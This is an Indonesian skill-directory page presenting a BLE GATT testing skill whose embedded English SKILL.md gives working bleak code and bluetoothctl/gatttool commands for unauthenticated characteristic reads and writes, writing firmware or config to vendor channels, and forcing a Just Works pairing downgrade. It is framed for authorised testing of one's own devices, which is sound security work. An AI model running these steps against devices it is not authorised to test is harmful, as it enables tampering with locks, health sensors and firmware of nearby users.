Langsung ke konten
Skillpedia
Keamanan6.5k ยท #14095

ble-gatt

Fungsinya

Panduan ini membahas pemeriksaan perangkat Bluetooth Low Energy terhadap layanan dan karakteristik yang tidak memiliki autentikasi atau enkripsi. Panduan ini untuk tim produk dan penguji yang memeriksa perangkat mereka sendiri.

Kapan dipakai

  • โœ“Saat sebuah tim produk ingin memeriksa apakah perangkat Bluetooth mereka melindungi pengaturan yang sensitif.
  • โœ“Saat sebuah pengujian resmi perlu melihat apa yang diperlihatkan perangkat terdekat kepada perangkat terhubung mana pun.
  • โœ“Saat kanal pembaruan atau layanan debug bisa terpapar melalui Bluetooth.

Link skill

https://github.com/BitterSecurity/Decepticon/blob/main/packages/decepticon/decepticon/skills/standard/iot/ble-gatt/SKILL.md

Salin lalu tempelkan ke AI Anda (Claude, ChatGPT, atau Cursor) dan minta AI mengikuti instruksinya.

Cara pakai

Cara paling mudah: salin pesan ini dan tempelkan ke AI Anda. AI akan membaca skill dan mengikuti instruksinya.

Pesan siap tempel

Gunakan skill ini untuk membantu saya: https://github.com/BitterSecurity/Decepticon/blob/main/packages/decepticon/decepticon/skills/standard/iot/ble-gatt/SKILL.md Baca file SKILL.md di link tersebut dan ikuti instruksinya untuk tugas saya.
Mau AI Anda menemukan skill seperti ini sendiri?Pasang MCP Skillpedia gratis: cukup satu baris, dan AI mencari di antara 15.000+ skill sebelum tiap tugas.Pasang dalam 1 menit โ†’

Contoh permintaan ke AI

โ€œKunci pintar kami memakai Bluetooth. Bisakah Anda memeriksa apakah ada pengaturan sensitif yang bisa dibaca atau diubah tanpa autentikasi?โ€

5 skill baru setiap minggu. 1 menit baca.

Cara kerjanya

Agent memindai perangkat yang sedang mengiklankan diri, terhubung dalam pengujian resmi, mendaftar layanan dan karakteristik, lalu melaporkan mana yang perlu dilindungi.

Konten teknis (SKILL.md asli)

Teks asli dari pembuat, dalam bahasa Inggris, langsung dari GitHub.

BLE GATT Enumeration and Exploitation

BLE devices routinely expose sensitive GATT characteristics without authentication or encryption. Common wins: OTA firmware update channels, PIN entry characteristics, device configuration, and health sensor data โ€” all accessible to any central within radio range.

Prerequisites

  • Linux host with a BLE adapter (internal or USB: CSR 4.0 dongle, Bluefruit LE, or the eval board of the target SoC itself).
  • Tools: bluez (>=5.62), gatttool, bluetoothctl, hcitool, python3 -m pip install bleak (cross-platform async BLE library).
  • Passive sniffer (optional but high-value): Sniffle (TI CC1352 / CC26x2 dongle
    • firmware) or Ubertooth One.
  • Mobile: nRF Connect (Android/iOS) โ€” fastest visual GATT browser; LightBlue on iOS.

Phase 1: Passive Discovery

# Identify advertising devices and their advertised UUIDs without connecting.
sudo hcitool lescan --duplicates 2>/dev/null | tee /tmp/ble_scan.txt

# Dump extended advertisement data (ADV_EXT, includes SID + periodic adv info).
sudo btmgmt find -l 2>/dev/null | grep -E "addr|name|uuid"

Using bleak for a structured scan:

import asyncio
from bleak import BleakScanner

async def scan():
    devices = await BleakScanner.discover(timeout=10.0)
    for d in devices:
        print(f"{d.address}  RSSI={d.rssi:4d}  {d.name or '<anon>'}  {list(d.metadata.get('uuids', []))}")

asyncio.run(scan())

Phase 2: Full GATT Enumeration (unauthenticated)

# Connect and dump all services/characteristics/descriptors.
# gatttool is deprecated but still widely available; use bleak for scripting.
gatttool -b <TARGET_MAC> -I
  > connect
  > primary          # list services by UUID
  > characteristics  # list handles, properties, UUIDs
  > char-desc        # dump all descriptors

# Or with hcitool + gatttool one-liner:
gatttool -b <TARGET_MAC> --primary
gatttool -b <TARGET_MAC> --characteristics

Bleak full dump (preferred โ€” handles BLE 5 extended):

import asyncio
from bleak import BleakClient

TARGET = "AA:BB:CC:DD:EE:FF"

async def dump_gatt():
    async with BleakClient(TARGET) as client:
        for svc in client.services:
            print(f"\nService: {svc.uuid}  ({svc.description})")
            for char in svc.characteristics:
                print(f"  Char: {char.uuid}  props={char.properties}  handle=0x{char.handle:04x}")
                if "read" in char.properties:
                    try:
                        val = await client.read_gatt_char(char.uuid)
                        print(f"    Value: {val.hex()}  ({val!r})")
                    except Exception as e:
                        print(f"    Read error: {e}")

asyncio.run(dump_gatt())

Phase 3: Unauthenticated Write / Command Injection

# Write a raw value to a characteristic handle (gatttool).
# Value is hex bytes. Example: write 0x01 to handle 0x002a to enable notifications.
gatttool -b <TARGET_MAC> --char-write-req -a 0x002a -n 0100

# Write to a writable characteristic by UUID (bleak):
async def write_char(client, uuid, payload: bytes):
    # Try write-with-response first; fall back to write-without-response.
    props = client.services.get_characteristic(uuid).properties
    if "write" in props:
        await client.write_gatt_char(uuid, payload, response=True)
    elif "write-without-response" in props:
        await client.write_gatt_char(uuid, payload, response=False)
    print(f"Wrote {payload.hex()} to {uuid}")

Common attack targets by characteristic UUID:

UUID (16-bit) Description Attack
0x2A19 Battery Level Read, establish baseline
0x2A24 Model Number Info disclosure
0x2A9D Weight Scale Sensor data w/o auth
Vendor 0xFF01-0xFF0F OTA / DFU channel Write firmware image
Vendor 0xFFF1 Generic config Write arbitrary config

Phase 4: Pairing Downgrade โ€” Just Works

Just Works pairing provides no MITM protection. Force it when the device advertises IO capabilities that allow stronger pairing (Passkey, OOB) but accepts a downgrade.

# In bluetoothctl: set agent to NoInputNoOutput to force Just Works.
bluetoothctl
  agent NoInputNoOutput
  default-agent
  scan on
  pair <TARGET_MAC>   # pairing will complete with no key confirmation
  trust <TARGET_MAC>
  connect <TARGET_MAC>

After pairing, re-run GATT dump โ€” some characteristics become readable only after bonding even when using Just Works.

Pertanyaan umum

Apa itu GATT?

Itu adalah struktur yang dipakai perangkat Bluetooth Low Energy untuk mengatur data dan pengaturannya.

Apa itu pairing downgrade?

Itu terjadi ketika perangkat didorong ke metode pairing yang lebih lemah, yang disebut panduan ini sebagai risiko.

Bagaimana produk memperbaikinya?

Dengan mewajibkan autentikasi dan enkripsi untuk karakteristik yang sensitif.

Detail

Deskripsi asli dari pembuat

GATT service/characteristic enumeration on BLE peripherals, unauthenticated read/write exploitation, pairing downgrade to Just Works, and over-the-air sniffing with Sniffle or Ubertooth. Covers firmware update channels, hidden debug services, and missing auth on sensitive characteristics.

repo: BitterSecurity/Decepticon

Popularitas

Bintang GitHub
6.5k
Peringkat
#14095
Lisensi
Apache-2.0
Diperbarui
1/11/2026

Apakah skill ini berguna?

0

Masuk untuk memberi suara.

Komentar

  • โ€ฆ

Skill lain dari repositori ini

Skill serupa